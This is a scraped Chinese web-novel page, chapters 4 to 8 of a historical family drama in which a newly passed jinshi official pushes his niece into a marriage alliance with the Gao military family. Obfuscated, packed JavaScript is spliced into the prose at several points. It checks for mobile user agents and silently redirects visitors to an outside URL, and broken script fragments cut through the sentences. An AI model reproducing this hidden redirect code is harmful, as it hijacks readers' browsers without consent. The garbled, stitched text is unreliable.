RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405873|200505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>四月十五日，乃是京城会试放榜日。 陈家大老爷今科能否高中，便看四月十五日的杏榜，是否榜上有名。 原本，这是陈家最大的事情，阳湖陈家上上下下都要翘首以盼。 可，自从那位归德卫指挥使高大人拜访之后，所有人都顾不上这件事了。 大太太的娘家弟弟六年前中了进士，没能进入翰林院，发送到了浙江布政司观政。熬了一两年，等到了衢州府江山县县令有缺，便授了江山县县令。 兢兢业业任满了三年，考核得了优等，在地方上名声极好，满心指望朝廷能把他行取至京，充当京官。 不敢奢望进都察院，能进六部做个主事他也心满意足了。与知县这等繁琐至极，与各方人等应酬的焦头烂额的地方官相比，在京作京官清闲又荣耀。 谁知，一纸任命下来，命他赴鄞县仍任县令。 大太太的弟弟气得倒仰。只因殿试时名次低了，考不上庶吉士，进不了翰林院也就算了，连个京官都当不了吗？ 同样是官，翰林院、都察院、六部等京官是金马玉堂、木天清华。他们这些州县官却被称为风尘俗吏。简直气煞人也！ 这一气气狠了，大太太的弟弟病了一场，名利心也灰了，索性告病回乡。 此时，这位大太太的弟弟，三小姐淑绘的亲舅舅，正辞了官闲住在家里。 大太太与这个弟弟是一母同胞，姐弟俩感情深厚。大太太带着淑绘回到娘家，哭得泪人一样，口中淑绘、文缇叫个不停，招惹得一众人都跟着掉泪。 问清了缘由，三小姐淑绘的舅舅当即打了包票，绝不让仅剩的这个外甥女远嫁。 但时间紧急，来不及挑来挑去。淑绘舅母家的内侄与淑绘年龄相当，读书也不错。家里虽不甚富裕，人也木讷了些，家里人都是敦厚淳善的。他亲自做媒，立即定下这门亲。 若是往常，大太太定要挑嫌对方容貌差了些。可现在，顾不上了。 两家急急的过茶下聘，等到了四月十五，淑绘的亲事已是定下了。 若是有人多嘴说一句，要不要等大老爷回家，大太太立马横眉竖目，“这是淑绘的亲舅舅做的媒，亲娘舅难道会害她！” 更何况，这个亲舅舅还是位进士大老爷。 陈老太太眼见大太太鬼撵着似的给三丫头订了亲，猜出归德府高家定有什么不妥之处。可就是撬不开大太太的嘴，又气又急，病倒了。 二太太那天从大太太房里回来，晚上坐了半宿，第二天就找人给二老爷送信。 二老爷功名利禄之心不重，儿女骨肉之情却是看得极重，这件事必得告知他。 一大家子不得安宁，漩涡中心处的陈婉紃竟安之若素，不曾抱怨过一句。 可她肉眼可见的清瘦了下去，每日晨起，眼皮泛着微红，她自己反而劝老太太不要担心。 她越是这样，二太太、二小姐德绢、老太太越是心疼不已。 以至于这日天色未明，忽听得门外人声喧嚷，把门敲打得擂鼓一般，一家人全都惊恐不已。 直到门房张伯听得有人嚷嚷报喜，颤抖着打开大门。 “捷报：贵府新贵人陈相公名竑，得中第七名进士。稳步玉堂！” 两个穿着一身喜庆红衣的报子，手持报条，一见陈老太太，便叩头道喜。 大老爷高中进士了！ 陈家霎那沸腾。 这个喜信，迅速地传遍了阳湖县城，传到常州府，也传入了高昌的耳中。 5. 第5章 高老指挥的病越来越重，高崇打听到苏州有位祖代名医，医术高超、手到病除。 只是这位名医架子极大，家丁小厮们都请不来，高崇只得亲自去苏州。 陈家大老爷高中进士的喜信报来时，高崇正在赶往苏州的船上。 高昌得了消息，跳了起来，“陈家大老爷以后就是进士老爷了，第七名啊，乖乖，指定得是位翰林老爷。” 不用高老指挥催，高昌自己备了厚礼，找人写了礼单，换上官服，命人抬着礼盒，浩浩荡荡地再次去了陈府。 救命之恩乃是天大的恩情，再不愿将孙女嫁入高家，陈老太太也得客客气气地接待高昌。 这一次，高昌比第一次来还要客气，脸上挂着谄媚的笑，恭喜陈家大老爷高中进士。 “老太太，不瞒您说，我那个……侄子，生得一表人才，潇洒风流。他是我们高家的应袭舍人，等几年进了京比试过弓马，这归德卫指挥使就由他袭授了。令孙女一嫁入高家，就能得朝廷封的三品诰命……” 高昌将自家侄儿一通吹嘘。 陈老太太静静陪坐倾听，始终没有吐口，却也不能一口回绝。 “高大人，儿女终身大事，自古便由父母做主。再过几天，等她们的父亲回来，再与贵府商议。” 得了这句话，高昌已然满足，软磨硬泡的逼着陈老太太收了礼物，洋洋自得地离了陈家。 陈家二老爷陈端与陈家大爷陈鹏前后脚赶回阳湖。 “母亲。” “祖母。” 叔侄两人一进了家门，都先去老太太房里行礼问安。 一接到自家夫人的信，陈端急急请了假，把手里的活交给二女婿萧肇，雇了快船，从临清匆匆赶回家。 陈鹏是得了父亲陈竑的令，从京城赶回来的。 陈端见母亲身体没有大碍，舒了一口大气，顾不得问大哥考中进士的详情，抓着侄儿陈鹏劈头就问：“鹏儿，高家上门求亲的事，你父亲知道不知道？他有没有办法？” 陈鹏一回来直奔祖母院子，尚且不知大太太与他舅舅已给三妹淑绘订了亲，未及细想叔叔的异样，张口回答：“父亲命我回来，就是为着筹办妹妹与高家大爷的亲事的。” 他话音一落，屋子里霎时间一片安静。 大太太险些晕过去。 陈婉紃眼眸一闪，碰了碰二小姐德绢。 德绢一惊回神，立即问道：“大哥，伯父说的是哪位妹妹，可是三妹妹？” “当……” “鹏儿，”大太太忽然冲上去抓住陈鹏的胳膊，“淑绘已经订亲了，聘礼都收了，怎么能再与高家议亲！你父亲说的肯定不是淑绘。” 陈鹏懵了，他看了看祖母，又看了看二叔、二婶母，再看了看母亲，一时间心思电转。 意识到有大事发生，陈鹏顿时闭嘴，不再多说一个字。 差了一步，陈婉紃无声地叹了口气，以堂兄的聪敏，休想再诈他。 即便那层窗户纸没有捅开，陈家众人心里都有了数。 与高家的亲事，大老爷是知道的，甚至是应允的。按照大老爷的安排，原本要与高家联姻的是大老爷的亲生女儿三小姐淑绘。 大太太却不愿意。 她大约是提前得了信，趁着老太太、二太太她们蒙在鼓里，与她的娘家弟弟一道给淑绘定了亲。 瞒着大老爷，先斩后奏，生米煮成了熟饭。 一女不二聘，更何况大老爷刚刚高中进士，即将步入官场，不能让人抓住把柄，大老爷只能认了。 而能与高家联姻的，只剩下陈婉紃。 陈老太太跌坐在榻上，目光直直盯着面前的窗户。大爷陈鹏垂头不语，二太太将手里的帕子攥成了麻花。 大老爷是陈家的天，陈家一大家子人都活在他的羽翼下，他决定了的事，其他人再委屈，到最后也只能屈服。 可陈婉紃不甘。 最起码，她不甘心就这么乖乖地任命服从。 “四妹！” 陈婉紃突然摇晃趔趄，眼见就要摔在地上，二小姐德绢凄声喊叫。 二老爷一个箭步冲上去，抱住了女儿，“紃儿。” 陈婉紃倒在二老爷臂弯，苍白的脸上晕着几滴泪，盈盈闪烁，“爹爹，女儿不孝，让您操心了。” 二老爷眼圈红了又红，呜呜痛哭，“紃儿，乖女，爹不会让你进火坑的，爹不答应。” 说完，二老爷让二小姐将陈婉紃扶回房里。 “绢儿，扶紃儿去我屋子里，躺床上先歇歇。”陈老太太又是无奈又是心疼。 见二老爷打发走堂妹，陈鹏何等聪明，立即意识到他们长房的小辈也不适合再留在这儿。轻轻扯了扯大奶奶，拉着三小姐淑绘，对着大太太摇了摇头，悄悄退出。 小辈们都走了。 二老爷突然对着老太太跪下，“娘，高家的大恩，我一辈子都记在心里，让我做牛做马我都没有二话。可不能为了报恩，就把咱家的女孩许给高家啊。儿女婚姻不是儿戏，一旦选错了人，就误了孩子一辈子。尤其是女孩儿，要是嫁错了人，落到什么混账秧子、没廉耻的羔子手里，受那些杂七杂八的罪，连命都送掉。” 屋里四人同时想到文缇，陈家的长孙女，嫁人不到两年，怀胎八月时一尸两命。 陈老太太再也忍不住心中悲痛，拍着桌子哭道：“天啊，天啊。我统共四个孙女，偏疼一些的就是缇儿、紃儿。我造了什么孽，眼睁睁地看着她们遭罪。” 老太太上了年纪，身体衰弱，眼见要哭晕过去。 二老爷连忙扶住她，可他自己越发痛哭起来。 大太太、二太太更不用说，哭得站不住身，倒在地上。 哭过一场，陈老太太拍了板，一面以她身体有恙不能见客为由，拖着高家，一面等着大老爷从京城回来，这个难题由他来解。 四月二十一日新进士殿试，二十四日传胪唱名，陈家大老爷陈竑位列二甲第三名。 本朝只有殿试三鼎甲，即状元、榜眼、探花，可以直入翰林，授翰林修撰和编修。其他新科进士则必须先考选庶吉士，三年散馆，朝考通过，留在翰林院的授编修、检讨。 庶吉士——翰林——升官——入阁，这是一条最清贵最快捷的光明大道，荣华富贵触手可得。 陈家大老爷虽殿试名次很高，但他有一项极大的劣势，就是他的年龄。 考选庶吉士是有年龄要求的，本朝考选庶吉士一般是在新进士中选年三十而下，才准就试，偶尔年龄放宽至三十五岁以下。 陈家大老爷已年过半百。 按照往年惯例，陈家大老爷连考选的资格都没有。 可今年这科不一样。 当今皇上是位老年天子，今年要过五十的圣寿。内廷司礼监、外朝内阁的内相、阁老们，忖度着圣意，特意以为国储材，比之少壮，更需老成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405874|200505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谋国之人为由。今科考选庶吉士不限年龄。 老皇帝果然圣颜大悦。 金纶玉音一句话，陈家大老爷劣势变优势。 陈大老爷熬了这么多年，受了多少能说不能说的苦，一朝高中，功名利禄触手可得。他一腔心血都扑在了考选庶吉士，乃至将来玉堂金马、入阁拜相上。 收到阳湖家里的信，陈大老爷只略蹙了蹙眉，挥毫回了一封洋洋洒洒的长信。 信中暗点弟弟二老爷妇人之见，全不知为家族长远谋划。又骂儿子陈鹏无能，母亲行事有错，身为儿子也要阻拦，不能一味愚孝。 陈大老爷骂完了弟弟、儿子，又苦苦劝慰老太太，说他已中了进士，旁人休想再欺辱陈家。 有他撑腰，陈家的女儿绝不会受委屈，今时不同往日，让老太太不要总想着文缇。 高家富贵，嫁进高家，口咽膏粱，身衣绮罗，不比嫁给穷家素户，整日为了身计家计苦苦撑持强多了。 一言定音，陈家与高家必须联姻，陈家女儿必须嫁给高家嫡长孙——那位将来承袭高家世袭指挥使的高家大爷。 看完陈大老爷的回信，老太太唯有叹气。 二老爷脸色铁青，嘴唇动了几下，终究没有说出来。 “祖母、二叔，咱们家祖上传下的在东乡那块二百七十六亩肥田，祖父去世时，族里豪强欺祖母孤儿寡母，将田霸占了去。昨天族里管事的房首，遣管家来拜见，族里要将那块肥田还给咱家，我没理会他。那管家砰砰磕头，把额头都磕肿了。”陈家大爷陈鹏轻声说道。 陈老太太叹气声更重了。 二老爷脸色青中泛红。 那块肥田当年被人谋夺走，险些逼死了他们一家子孤寡。 如今，陈大老爷高中进士，才几天，就被人还回来了，磕头求他们收下。 所谓缙绅大族，人情薄浅如此。所谓大家子弟，一旦失了护恃，过的乃是受尽折辱的日子。 二老爷感激大哥将一大家子护在羽翼下，可这门亲事，他还是不能点头，他不能为了报恩，眼睁睁地看着紃儿进火坑。 “娘，紃儿不是不能吃苦的人，比之膏粱锦绣，她更愿意守在父母膝下，粗茶淡饭。以后我不再进科场了，一心一意作文启师爷，多挣些银子，养活他们娘儿几个。” 二老爷表明了态度，他的女儿，不与高家联姻。 大太太脸色顿时雪白。 她太了解自家夫君的性格了，就算淑绘定了亲，可她还没出嫁，大老爷一怒之下保不齐做出什么事。 她生了两个女儿，文缇死在了高门巨室。淑绘若远嫁给世袭武臣，那种养乐户戏子、□□放荡的武夫，就算忌惮她爹不敢明面上欺负她，暗地里得给她多少气受，她能受得住吗。 淑绘要是有个三长两短，她这个做娘的，也活不了了。 “二弟，淑绘娇生惯养，性情单纯，她连婉紃的一个手指头都比不上。要是让她远嫁，就是逼她去死。嫂子跪下求你，给淑绘一条活路，给我一条活路吧。”大太太直直地跪在二老爷面前。 二老爷哪里敢受，连忙也跪下。 二太太回过神也跪在了大太太面前。 小辈们更是跪了一地。 “娘，娘。”三小姐淑绘边哭边喊，“当年我又没去开封府，高家救了谁，就该谁嫁进高家。” 当年在路上舟车颠簸，小小年纪服侍照料老太太的是四小姐陈婉紃。 6. 第6章 淑绘的话音一落地，陈家大爷陈鹏脸色倏变，暗道一声不好。 果然，厅里霎时沉寂。 “三妹，闭嘴！”陈鹏连忙定一定神，抢先骂了淑绘。 已是晚了，老太太的脸色越来越沉冷，看向淑绘的眼神满是失望。 “三丫头，我问你，那年你四妹妹是为什么去的开封府？” 三小姐淑绘终于意识到自己闯了祸，愣怔着不知怎么回答。 陈鹏想替妹妹圆场，老太太看向他，“鹏儿，让她自己说。” “是……是为了照料祖母。”淑绘跪在地上，两只手紧张地绞着手里的帕子。 “祖母又是为了什么去开封府？” “是……是……是为了我父亲。”三小姐淑绘已然明白自己犯了大忌，惶恐又慌张。 陈老太太站起身，目光沉沉地注视着淑绘，看了许久，她才轻轻说道：“原来你还知道是为了你父亲！” 老太太的话像是一个耳刮子打在三小姐淑绘脸上，她的脸涨得血红。 厅里所有人，都听得出来，老太太在骂三小姐淑绘不孝。 虽然这些年，老太太青年守寡，受了无尽磨难，对小辈儿慈爱居多，大老爷、二老爷也都不是迂腐之人。 但陈家世代书香，以诗礼传家自傲，向以忠孝节悌教导家中儿孙。 三小姐淑绘可以任性，可以娇蛮，可若是背上个不孝的罪名，立刻就会陷入千夫所指的境地，她这辈子就完了。 淑绘吓得伏在地上痛哭起来。 大太太心疼女儿，却不敢劝。 书香门第的女儿，担不起不孝二字。 陈家大爷陈鹏虽恼自家妹妹没有脑子，口无遮拦，可到底不忍自家母亲焦急。他机敏过人，悄悄看向四小姐婉紃，眼前这个难关，只有四妹能解。 陈婉紃感受到了堂兄乞求的目光。 说实话，祖母一句话让一向颇有些骄纵任性的三姐姐绝望痛哭，目睹眼前场景，她并未感到多少快意，反而凛然震心。 三纲五常、忠孝节义，为了做个合格的书香门第的贤媛闺秀，她把这些东西背得滚瓜烂熟，记得入心入肺。 可陈婉紃有前世的记忆，她再怎么努力，这些东西，也刻入不了她的灵魂。 她这些年，活得小心翼翼，生怕一不小心露出马脚。 就像眼前，陈婉紃怨大伯母，烦三姐姐淑绘，是因为她们为了自己，抢先逃命，让她去顶高家的婚事。 可她没想到拿“不孝”的罪名压三姐姐。 再说，这桩事真正做主的是大伯父，大伯父只用一封信，就让老太太左右为难，让大伯母、三姐姐慌不择路、体面全无，让她不得不柔弱可怜，用眼泪激发爹爹的爱女之情。 况且，陈婉紃不信祖母真给三姐姐一个不孝的罪名，大伯父高中进士，进士的女儿岂能不孝？ 三姐姐到底只是一个十七八岁的少女，年轻脸嫩，吓成这样。 堂兄机敏，也是当局者迷。 陈婉紃迅速在脑中计算利害得失，解了这个困局，对她更有利。 “祖母，”陈婉紃起身上前，拉着老太太的衣袖，小声劝慰，“前几天您就腿疼，站久了伤膝盖，快坐下。” “紃儿，难为你还记得我腿疼。”老太太半是无奈半是顺势，坐了下去。 “那年，你大伯父在开封府得了病，你父亲和你母亲带着二丫头远在北边，我接到信唬得三魂丢了两魄，恨不得插翅飞过去。” 老太太回忆往事，看了大太太一眼，“当时，咱们一家子只留下老幼妇孺。” 大太太赶紧挤出笑。 “老幼妇孺也得往开封府赶啊。你大伯母心疼淑绘，将她送往外祖家。紃儿，你比三丫头还小，我也舍不得带着你舟车奔波，原也要将你送过去一块暂住几天。可你舍不得祖母，说你跟着你爹念了几年医书，祖母腿脚不好，路上你给祖母按摩、揉腿。那么点个小人儿，就一心想着孝顺祖母。” 老太太的声音越说越哽咽，甚至双眼之中隐隐透出了一点泪光，她怕再说下去又要哭一场，仰头叹了口气，将话停住。 陈婉紃也红了眼眶，依然轻声劝解，“祖母大福大贵，有菩萨保佑，一路上纵然遇到危险，都有惊无险。大伯父见了祖母，很快就病愈了。” 青年守寡，养大三个孩子，陈家老太太笃信佛家，听得四丫头说菩萨保佑，不由得双手合掌念了声佛。 一声阿弥陀佛，厅里凝重沉冷的气氛顿时松缓下来。 “紃儿，”老太太慈爱地拍拍陈婉紃的后背，“你是个有福的孝顺孩子，祖母……一定想办法护着你。” “祖母，孙女谢祖母疼爱。”陈婉紃从老太太的话语中听到了松动，一头扎进老太太怀里撒娇。 二老爷、二太太、大太太甚至大爷陈鹏，都齐齐地在心里无声念佛。 高家的救命之恩，再恩比天高，他们陈家除了嫁女儿，总能报答得起。 纵然大老爷再执拗，老太太身为母亲，大老爷终归要听老太太的话吧。 除了三小姐淑绘懵然不觉，兀自啼哭，厅里众人都舒松了一口气。 …… 京城繁华，上至皇家，下到黎庶，崇佛敬道，城中四郊佛寺道观极多。 其中西便门外的白云观，乃是京城第一大道观。 白云观始建于唐朝，当时名天长观，祀奉道教祖师爷——老子。宋末，丘处机来到这里担任掌院，创建道教龙门派。成吉思汗极为尊崇丘处机，奉他为“神仙”。元朝建立，白云观声名满天下。 本朝立国，龙椅上的天子多有求仙问道之心，全国各地的全真道人都赶来这里，白云观更是声闻遐迩，有“仙都”之称。 除了这些原因，白云观让京城皇亲贵戚、勋贵武臣甚至京官文人趋之若鹜的还有一个不能宣之于口的原因。 那就是宫里位高权重的太监大珰们，每逢丘处机的生辰正月十九日，都要来白云观祭奠。 时日一久，白云观成了结识内廷贵珰们的“终南捷径”。 京城东华门外，有一所宅子，外面看着普普通通，就是一所普通的民宅。 这天，大门双开，一顶四人抬的青色小轿径直抬进宅中，停在了轿厅，一位身份颇有些特殊的贵客施施然走出轿子。 这位贵客，羽衣星冠，面如冠玉，乃是个少见的俊美道人。 他虽穿着一身道服，但道袍衣料考究，裁剪极合身。一双手修长白皙，戴着个色泽润泽的白玉扳指，一看就价值连城。眉宇轻皱，蕴着让人不敢接近的冷漠。 然而，当这所宅子的主人迎出来时，这位贵客却先施了一礼，笑着唤道，“持谦先生。” “谢道长。”主人拱手一揖，含笑回礼。 他身着浅青四合云纹道袍，一袭玄色方巾，一身文人便服打扮。容貌已不年轻了，飘拂长须中夹杂几点花白，但身材修长，骨骼清瘦，举手投足，清奇出尘的书卷气息扑面而来。 让人心里不由得赞叹，好一位仙风道骨的理学大儒。 陈竑，字持谦。 这位主人正是陈家大老爷。 陈竑将道人迎入书房。 书房不大，一明两暗，小小三间，纸窗竹案，布置得极为精洁幽雅。 竹制高几上放着一个蓝釉小胆瓶，插着两枝还带着朝露的素白蔷薇。竹案上的小小的翠青龙泉窑香炉焚着香，袅袅香烟，飘散如一丝雾气，带着清冽的梅花幽香。 谢道士深深嗅了香雾，悠然长叹，“持谦先生不止是位理学大儒，更熟读道家典籍，与香道上也是位大家。” 他与去年供奉内廷，为天子修斋建醮。虽然前面还有几位真人挡着，他还不是皇上最宠信的道人。但伴君如伴虎，他夜间常常无法安寝，白日又不敢松懈，时日一久，添上了头疼的毛病。 这个毛病，谢道士一丝一毫不敢透露，只暗中偷偷寻觅药方。喝了不少药汤子，却一点效果没有。 直到不久前，谢道士偶然在白云观得了几粒香丸，本是随意放入香炉，不想闻着香味，他竟神松气舒。困倦随着渗透着淡淡药味的甜香浸入四肢百骸，生涩的上下眼皮紧紧黏在一起，坠入久违的甜酣梦乡。 让他痛苦多日的失眠，终于有了“灵药”，谢道士急急寻找配制香丸的人。 一番苦寻，终于找到，原来是新科进士——陈竑。 谢道士与陈竑结交，本为着香丸。不想，随着慢慢熟悉，谢道士不知不觉倾心折服于陈竑的才华、魅力。 嗅了一阵香，谢道士精神松弛下来，与陈竑闲聊起香道来。 “香之一道，变幻无穷，譬如儒释道三家，道家有道家的香，释家有释家的香，儒家有儒家的香……” 陈竑语气缓缓，虽是向人讲说，却儒雅斯文，毫无大儒名士常见的咄咄逼人。听他说话，让人如沐春风，心情非常愉悦。 谢道士在陈竑面前，心神十分松弛，他随口问道：“儒家也有香道吗？” 陈竑微微一笑，“这却不是我信口乱诌，朱子先生身为儒门圣哲，与香道一途造诣也很精深。老先生有一首‘香界’诗……” 说着，他起身吟诵，“幽兴年来莫与同，滋兰聊欲泛光风。真成佛国香云界，不数淮山桂树丛。花气无边熏欲醉，灵氛一点静还通。何须楚客纫秋佩，坐卧经行住此中。①” 陈竑虽是南直隶阳湖人，一口官话讲得字正腔圆。 听着他抑扬顿挫、喉清韵雅的吟诵声音，谢道士不觉入了神。与他们这些进士大儒比，谢道士只能算略识几个字，可此刻，在陈竑的吟诵声中，谢道士恍然感受到这首诗中的雍容闲雅。 谢道士不禁为之击节赞叹。 陈竑吟诵毕，谢道士意犹未尽，“持谦先生，朱子老先生写得真好，我最爱那联‘花气无边熏欲醉，灵氛一 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谢道士赞叹陈家不愧书香门第，长辈慈爱，小辈孝顺。 陈竑捋须而笑，家里几个孩子确实都不错，他冷眼看下来，若四侄女是个男丁，资质不在鹏儿之下。 可惜是个女孩。 二弟又妇人之心，只想将孩子护在膝下。以四侄女的资质，嫁入元勋世胄、高门巨族为冢妇，才不算埋没了她。 好在有他这个伯父。 因着这道素点，陈竑想到了四侄女陈婉紃，但这也只是一念之间，旋即抛掷脑后，与谢道士谈起了旁的事情。 一餐素斋，宾主尽欢，更拉近了两人的关系，话题不由更加深入。 谢道士竟然问起了陈竑是否入了翰林院。 陈竑微微摇头，叹息一声，“今科庶吉士尚未考选，只恨老夫华发早生。” “持谦先生，”谢道士为他不平，“论博学鸿儒，这一科无人可与先生比，若说年龄，先生大可不必多虑。” 他伸手向上指了指天，“翰林院的规矩大不过天，至于有人想从中作梗，先生放心，有我在，断不许有人使鬼蜮手段害先生。” 陈竑向谢道士道谢，他的目的初步达成了。 吃过午饭，谢道士惦记着宫里，依依不舍地与陈竑告辞，坐轿离开。 送走了谢道士，陈竑让管家陈利赏了做素斋的厨子五两银子，厨子感激不尽地回去了。 “还剩多少银子？”陈竑问管家。 管家陈利小声回禀，“老爷，咱们进京带来的银子已经花完了。归德府高家在京中的南北货店大掌柜，前些日子送来的三千两银子还剩一半。” 这些日子，花钱如流水，单说今日这桌素斋，这个时候的鲜藕、嫩笋，都是花大笔银子买来的，管家陈利肉痛得紧。 陈竑只是微微颔首。 他眼下寓居的这处宅子，也是高家的。高家京中的这些掌柜、仆奴，早早得了高老指挥的命令，只要陈大老爷遣人送了信物，无论是要人还是要银子，高家尽一切所能协助陈大老爷。 为了结好陈家，求娶陈家女儿，高老指挥下了大手笔。 高老指挥给京中店铺掌柜写信指示时，并不知道陈竑会高中进士。 陈竑中了进士后，金堂玉马的荣华大道近在眼前，他才让管家带着信物去了高家店铺。 陈、高两家合作交好，两家的联姻势在必行。 陈家的女儿必得嫁入高家，做高家的冢妇。 陈竑原想着将亲生女儿淑绘嫁入高家，但他那位眼界窄小的夫人竟抢先给淑绘定了亲，他很是恼怒。比之长女文缇，淑绘资质平平，罢了，荣华富贵她自家无福消受。 好在还有四侄女婉紃。 女儿也好，侄女也罢，只要他陈竑屹立朝中，都是陈家的女孩儿，高家就不敢轻视。 而高家，必得是那位应袭指挥使的嫡长孙，才有资格迎娶陈家女儿。 陈大老爷陈竑眼里，只看得到能够袭职指挥使的高家嫡长孙。 而此时，远在阳湖的陈家，浑然不知京中情形。陈老太太给陈大老爷写了封亲笔信，陈家大爷陈鹏拿着信快马加鞭向京城赶来。 “有老太太的信，肯定能让大老爷打消与高家联姻的念头。”大太太、二太太不约而同地给菩萨上了香。 阳湖陈家上下，只有陈婉紃悬着一颗心放不下。 祖母、父亲，都不是为了报恩罔顾女儿终身的迂腐之人，按理与高家的这桩婚事成不了。可她上一世分明失败了，没能寿终正寝，难不成这桩婚事退不了？又是为了什么退不了？ 陈婉紃暗暗呼唤系统，可系统能量耗尽，毫无回应。 “上一世到底发生了什么？是谁害了我？”没有上一世的记忆，陈婉紃毫无头绪。 7. 第7章 陈老太太写给大老爷的信，二老爷从头至尾亲眼看着，语气颇有些严厉。自家兄长虽性子有些孤行专断，但事母极孝，想来不会忤逆母亲。 二老爷陈端放了一大半心。 阳湖县与武进县同属常州府的附郭县，一府两县都在一座城里。因着着急解决家里这桩棘手事，今年的端阳节陈家过得潦潦草草。如今事情解决在望，二老爷陈端赶忙拜亲戚、会友朋，在外应酬一多，入耳的消息也就多了。 高老指挥生了重病的消息，也传进了二老爷耳中。 虽然不愿将女儿嫁给高家，但二老爷一直记着高家的恩，他一回来就给高家送了帖子，高家却将高老指挥的病瞒得滴水不漏。 二老爷自身乃是一位极负盛名的儒医，医理极好。虽因着阳湖陈家簪缨世族的身份，他不能在医馆行医。但每当州县乡村发了疫病，他常常借着文幕的身份，游说东翁为治下百姓延医舍药，更是亲自为百姓看病。 日积月累，二老爷看的病人累千累万，漫说一般大夫，就是一些名医，行医经验未必有他丰富。 他得知高老指挥病势沉重，自然不能坐视不理。回到家里，从书房文具盒子里面，取出一张帖子，端端正正写了，封在木红封套里。带了家仆，携着药箱、礼盒，在门口水埠头招了船家，赶往高家寓所。 “爹，陈家二老爷来了。”高昌拿着帖子急急忙忙去迎晖阁找高老指挥。 “快请！我正想着过两天登门拜访陈府，陈家二老爷来了更好，眼下我这病快好了，见客不至于失礼。”高老指挥慈爱地看向高崇，“全托赖我有个好孙儿。” 原来高崇从苏州请来了那位名医，对症下方，细心调养，高老指挥身体已好了许多。只是外间消息滞后，让二老爷陈端误以为高老指挥病势沉重。 “是。”高昌应了声，临走之前，狠狠剜了眼高崇。 “留哥儿。”这是高老指挥给高崇取的小名，除非不得已，他极少叫孙儿的大名。上辈子，高崇没觉出不对，如今知道了自己的身世，他也明白了祖父为何不愿呼喊他的大名。 高家族谱上，长子所生的嫡长孙名高崇，次子生的孙子名高峻。 他明明是高崇，却被高昌夫妇夺了身份，成为世人口中的高峻。 高老指挥愧对死去的长子，每叫一次“高峻”，他就想起一次长子，心就痛一次。 “爷爷。”高崇应道。 “你留在这里，稍后见了陈家二老爷，好生表现。” 陈家大老爷高中二甲进士的消息，祖孙二人已俱知。高昌阴奉阳违，二人也有耳闻，但亲事还没有订下，一切还来得及。 陈家二老爷是婉……她的父亲，她十分敬爱父亲，父女之间感情深厚。 高崇上辈子尸山血海中拼杀出来，早已养成泰山崩于前而色不变。这个世上只有一个人，哪怕想到她的名字都令他方寸大乱，现在来的是她的父亲。 “爷爷，我先去换身衣服。”今日高崇无须外出，为了练武方便，穿了一身玄色箭袖袍子，拜见陈二老爷，绝不能穿着这身袍服。 “这身衣服很精神啊。”高老指挥大为不解，他眼中的孙儿，高大挺拔，雄健有力，他敢保证，满朝元勋世胄，没人盖得住他孙儿。 高崇却不再解释，急急赶回他的住处。 高昌亲自引着陈二老爷进了迎晖阁，陈二老爷向高老指挥行了子侄礼，高老指挥一把将他搀了起来。 陈二老爷细心察看高老指挥面色，见他果然病情转好，心下一松。 这还是陈二老爷第一次见高家的人，他见高老指挥虽已近耄耋之年，须发皆白，面上皱纹纵横，但老人言笑睥睨之间，依然可见武人枭雄之相。 陈二老爷是个性情中人，不是那种鄙夷武人粗鲁少文的文士，平心而论，他颇欣赏高老指挥这种豪杰。 但是，将自家娇娇柔柔的女儿嫁入这种武将之家，是万万不能的。 尤其是，当陈二老爷认真审视高昌的面相，他四十多岁的样子，身量不算低，但因腰腹肥大，显得矮矮胖胖。酒色过度的脸上，两只眼睛挤得成了一条缝，一看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈二老爷性子耿直，受了高昌如此大的冒犯，这口气断然不能默默咽下。 捏笔的右手忽然颤抖，羊毫笔摔在案上，陈二老爷深深皱眉，嘶嘶呼痛，“哎呀，我这胳膊前几日摔了一下，没想到今天一提笔，扯动了伤处，痛得捏不住笔。” 说着，左手捏起羊毫笔，不由分说塞到高昌手中，“请高老爷代笔吧。” 高昌瞠目结舌，只觉手中的笔比刀剑都重。 8. 第8章 陈二老爷仿佛没有看见他的为难，满脸笑容的催促：“高兄莫要推辞，高兄既能为了一块砚台一掷千金，定写得一笔好字，高兄快请。” 高昌被架上了，这些年在归德卫，他被人奉承谄媚惯了，对自己的面子看得极重。他张了张嘴，到底不肯主动坦诚自己……不爱读书写字。 陈二老爷一再催请，甚至用左手端起水注往砚台里倒了一点清水，亲自为高昌研磨。 “墨汁清亮、肥润，果然是块宝砚。”陈二老爷叫了声好，又一次催高昌，“高兄，快请。” 并慢声背出食补的方子。 高昌被赶鸭子上架，他一发狠，将羊毫笔猛地在砚台里一蘸，在名贵的徽州老绵纸上落下一团黑墨。 仅仅一句话，五个字，高昌写得缺胳膊少腿，他何止是字写得不好看，是连字都没写对。 高老指挥尴尬地闭上眼，唉，高家的脸都要丢尽了。 陈二老爷瞠目结舌，他虽不齿高昌小人得志的嘴脸，强请他写字，迫他露一露丑。 可他没想到，高昌连字都写不囫囵。 这个场面太难堪了。 屋子里陷入死一般的沉寂。 高家的小厮们低着头，连呼吸都不敢大声，生怕自家老爷恼羞成怒，迁怒到他们身上。 高昌意识到丢人丢大发了，又气又恼，一张胖脸涨成了猪肝色。 “二爷来了，快请进。”门口的小厮看见高崇，像见到了救星，扯开喉咙高声叫喊。 高崇稍稍一愣，大步迈进厅里。 高老指挥睁开眼睛，松了口气。高昌虽然愈加恼恨，但高崇来了，总算能解了他的难堪。 高崇却看也没看高昌，也没有理会高老指挥的眼色，他径直走向陈二老爷，恭敬行礼：“晚辈高……峻，见过世伯。” 